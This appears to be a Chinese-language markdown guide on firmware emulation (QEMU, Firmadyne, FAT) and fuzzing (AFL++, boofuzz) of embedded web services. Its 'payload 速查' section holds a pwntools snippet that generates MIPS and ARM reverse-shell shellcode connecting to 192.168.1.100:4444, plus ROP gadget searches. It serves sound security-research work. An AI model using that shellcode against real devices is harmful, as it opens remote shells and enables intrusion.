reverse-skills-max: initial public release (restored, redacted, hardened)
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# 仿真与模糊测试
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参考：
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- Firmadyne https://github.com/firmadyne/firmadyne
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- FAT https://github.com/attify/firmware-analysis-toolkit
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- AFL++ https://github.com/AFLplusplus/AFLplusplus
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## 仿真三档
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| 档位 | 工具 | 适用 | 难度 |
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|------|------|------|------|
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| 用户态 | qemu-*-static + chroot | 单个二进制（httpd / cgibin） | 低 |
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| 全系统 | Firmadyne / FAT | 整个固件起 init / 网络栈 / NVRAM | 中 |
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| 半真机 | qemu + 真硬件 GPIO / 协处理器透传 | 涉及外设的固件 | 高 |
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| 纯真机 | UART / JTAG | 仿真起不来，必须上硬件 | 高 |
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选择策略：
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```text
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只想看 httpd 接口 → 用户态
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想真实跑起来管理界面 → 全系统
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仿真起不来某外设 → 半真机或硬件
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不在意效率追求真实 → 真机
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```
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## 用户态仿真（QEMU User Mode）
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最快路径，几条命令出 shell。
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```bash
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# 1. 把 qemu-user-static 拷进 rootfs
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cp /usr/bin/qemu-mipsel-static squashfs-root/usr/bin/
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# 2. chroot 进去
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sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /bin/sh
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# 3. 直接跑目标 binary
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sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /usr/sbin/httpd
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# 4. 不 chroot 直接跑（路径相对）
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qemu-mipsel-static -L squashfs-root:REDACTED/usr/sbin/httpd
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```
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架构对照表：
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| 固件架构 | qemu binary |
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|---------|-------------|
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| MIPS little-endian (MT 系列) | qemu-mipsel-static |
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| MIPS big-endian (BCM 系列) | qemu-mips-static |
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| ARM little-endian (大多数) | qemu-arm-static |
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| ARM 64 | qemu-aarch64-static |
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| PowerPC | qemu-ppc-static |
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| SuperH | qemu-sh4-static |
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判断架构：
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```bash
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file squashfs-root/bin/busybox
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# 输出例：ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV)
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# LSB = mipsel, MSB = mipseb
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```
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### 用户态的坑
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- **`/proc` 不可用** → `mount -t proc proc squashfs-root/proc`
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- **缺设备节点** → `mknod squashfs-root/dev/null c 1 3`
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- **DNS 解析失败** → 拷一份 `/etc/resolv.conf` 进去
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- **网络监听** → qemu-user 对网络栈支持有限，bind 高端口能成，低端口可能要 root
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- **nvram_get 拿不到值** → 用户态没 NVRAM，httpd 经常崩；上全系统仿真
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## 全系统仿真（Firmadyne）
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完整流程：提取 → 识别架构 → 构造 image → 启动 + NVRAM hack。
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### 安装
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```bash
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git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
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cd ~/tools/firmadyne
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sudo ./download.sh # 下载预编译内核
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# 配置 PostgreSQL
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sudo -u postgres createuser -P firmadyne # 密码 firmadyne
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sudo -u postgres createdb -O firmadyne firmware
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sudo -u postgres psql -d firmware < ./database/schema
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```
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### 完整流程
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```bash
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cd ~/tools/firmadyne
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FW=/path/to/firmware.bin
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# Step 1: 注册固件到数据库
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./sources/extractor/extractor.py -b TPLink -sql 127.0.0.1 -np -nk \
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"$FW" images
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# Step 2: 识别架构
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IID=$(psql -d firmware -U firmadyne -c "SELECT id FROM image \
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ORDER BY id DESC LIMIT 1;" -t | tr -d ' ')
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./scripts/getArch.sh "./images/${IID}.tar.gz"
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# Step 3: 把内核 + rootfs 装配成可启动 image
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./scripts/tar2db.py -i "$IID" -f "./images/${IID}.tar.gz"
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sudo ./scripts/makeImage.sh "$IID"
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# Step 4: 推断网络配置（DHCP / 静态 IP）
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./scripts/inferNetwork.sh "$IID"
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# Step 5: 启动
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./scratch/${IID}/run.sh
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```
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启动后会输出仿真 IP，浏览器访问：
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```bash
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# 假设输出 192.168.0.1
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curl -I http://192.168.0.1/
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nmap -p- 192.168.0.1
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```
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### NVRAM hack
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Firmadyne 自带 `libnvram.so`，hook 所有 nvram 读取调用，返回默认值。
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```bash
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# 查看 libnvram 默认值表
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cat ~/tools/firmadyne/nvram_files/nvram.default
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# 加自定义 NVRAM 项（针对崩在特定 nvram_get 的服务）
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echo "wan_ipaddr=192.168.0.100" >> ~/tools/firmadyne/nvram_files/nvram.default
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echo "lan_ifname=br0" >> ~/tools/firmadyne/nvram_files/nvram.default
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# 重新打包 image
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sudo ./scripts/makeImage.sh "$IID"
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```
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### 常见坑
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| 现象 | 原因 | 修法 |
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|------|------|------|
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| 启动卡在 "init started" | 缺 /dev 节点 | `MAKEDEV` 在镜像里手工建 |
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| httpd 启动即崩 | nvram_get 缺值 | 加 nvram.default |
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| bind 错网卡 | inferNetwork 推错 | 手工改 `./scratch/${IID}/run.sh` 的 `-net nic` |
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| IPC 信号量错 | 内核版本不匹配 | 换 Firmadyne 自带的对应架构内核 |
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| 内核 panic | 架构识别错 | 重跑 getArch.sh，或手工指定 |
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| 没网卡 | 固件没自动 ifconfig | 进仿真 shell `ifconfig br0 192.168.0.1 up` |
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| 串口卡死 | tty 未分配 | `run.sh` 加 `-serial mon:stdio` |
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## FAT（Firmware Analysis Toolkit）
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Firmadyne 的封装，一行启动。
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```bash
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git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
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cd ~/tools/fat
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sudo pip3 install -r requirements.txt
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# 编辑 fat.config 指向 Firmadyne 路径
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vim fat.config
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# 跑
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sudo ./fat.py /path/to/firmware.bin
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```
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FAT 自动做完 extractor → getArch → makeImage → inferNetwork → run，一条命令到仿真 shell。
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适合快速验证；遇到坑还是回到 Firmadyne 手工流程。
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## 仿真态做 AFL++ Fuzz
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### 三种模式选哪个
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| 模式 | 速度 | 适用 |
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|------|------|------|
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| 源码编译 (afl-clang-lto) | 最快 | 有源码或能自行编译 |
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| QEMU mode (-Q) | 慢 5-10 倍 | 仅有目标 binary |
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| Persistent mode | 比 QEMU 快 5-10 倍 | 需要简单 harness 改造 |
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### AFL++ QEMU mode（对仿真二进制 fuzz）
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```bash
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# 1. 准备 AFL++ qemu 后端（架构对应）
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cd ~/tools/aflpp/qemu_mode
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CPU_TARGET=mipsel ./build_qemu_support.sh
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# 2. 准备种子语料
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mkdir -p in/
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echo "GET / HTTP/1.0" > in/seed1
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# 3. 启动 fuzz
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afl-fuzz -Q -i in/ -o out/ -- \
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qemu-mipsel-static -L squashfs-root/ \
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squashfs-root/usr/sbin/httpd
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# 4. 监控覆盖率
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afl-whatsup out/
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```
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### Persistent mode（速度 10x）
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```c
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// harness.c：把目标主循环改造为 input-driven
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#include <stdio.h>
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__AFL_FUZZ_INIT();
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int main() {
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__AFL_INIT();
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unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;
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while (__AFL_LOOP(10000)) {
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int len = __AFL_FUZZ_TESTCASE_LEN;
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process_request(buf, len); // 目标函数
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}
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}
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```
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```bash
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afl-clang-lto -o harness harness.c target.c
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afl-fuzz -i in/ -o out/ -- ./harness
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```
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### afl-clang-lto 重编译（有源码）
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```bash
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# 源码 in tree
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export CC=afl-clang-lto CXX=afl-clang-lto++
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export AFL_USE_ASAN=1
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make clean && make
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afl-fuzz -i in/ -o out/ -- ./target @@
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```
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## 网络服务 fuzz：boofuzz
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针对自定义二进制协议或仿真起来的服务。
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```bash
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pip3 install boofuzz
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```
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```python
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# fuzz_httpd.py
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from boofuzz import *
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session = Session(target=Target(connection=TCPSocketConnection("192.168.0.1", 80)))
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s_initialize(name="http_get")
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s_string("GET", fuzzable=False)
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s_delim(" ", fuzzable=False)
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s_string("/", fuzzable=True)
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s_string(" HTTP/1.0\r\n", fuzzable=False)
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s_string("Host: 192.168.0.1\r\n", fuzzable=True)
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s_string("\r\n", fuzzable=False)
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session.connect(s_get("http_get"))
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session.fuzz()
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```
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```bash
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sudo python3 fuzz_httpd.py
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# 配合 ./scratch/${IID}/run.sh 监控 console，看 crash
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```
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## ARM / MIPS payload 速查
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```bash
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# pwntools 生成 reverse shell
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python3 - <<'EOF'
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from pwn import *
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# MIPS little-endian
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context.clear(arch='mips', endian='little', os='linux')
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sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
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print(asm(sc).hex())
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# ARM little-endian
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context.clear(arch='arm', endian='little', os='linux')
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sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
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print(asm(sc).hex())
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EOF
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# ROP gadget 搜索
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ropper --file ./httpd --search "system"
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ROPgadget --binary ./httpd --only "pop|ret"
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```
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## 调试器接入
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```bash
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# 用户态 + gdbserver 模式
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qemu-mipsel-static -g 1234 -L squashfs-root/ ./vuln_binary
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# 另一终端
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gdb-multiarch ./vuln_binary
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(gdb) set architecture mips
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(gdb) target remote :1234
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(gdb) b *0x00401234
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(gdb) c
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# 全系统仿真接 gdb
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# 改 ./scratch/${IID}/run.sh，qemu-system-mips 加参数：
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# -s -S
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# 然后
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gdb-multiarch
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(gdb) target remote :1234
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```
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## 一键 fuzz 工作流
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```bash
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#!/bin/bash
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FW=$1
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IID=$2
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# 1. 仿真起来
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~/tools/fat/fat.py "$FW" &
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sleep 30
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# 2. 拿到 IP
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IP=$(grep "br0" ~/tools/firmadyne/scratch/$IID/qemu.final.serial.log | head -1)
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# 3. 网络 fuzz
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python3 fuzz_httpd.py "$IP"
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# 4. 同时 AFL++ 跑用户态
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afl-fuzz -Q -i in/ -o out/ -- \
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qemu-mipsel-static -L squashfs-root:REDACTED/usr/sbin/httpd &
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wait
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```
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## 引用
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- Firmadyne: https://github.com/firmadyne/firmadyne
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- FAT: https://github.com/attify/firmware-analysis-toolkit
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- AFL++: https://github.com/AFLplusplus/AFLplusplus
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- boofuzz: https://github.com/jtpereyda/boofuzz
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- pwntools: https://github.com/Gallopsled/pwntools
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Reference in New Issue
Block a user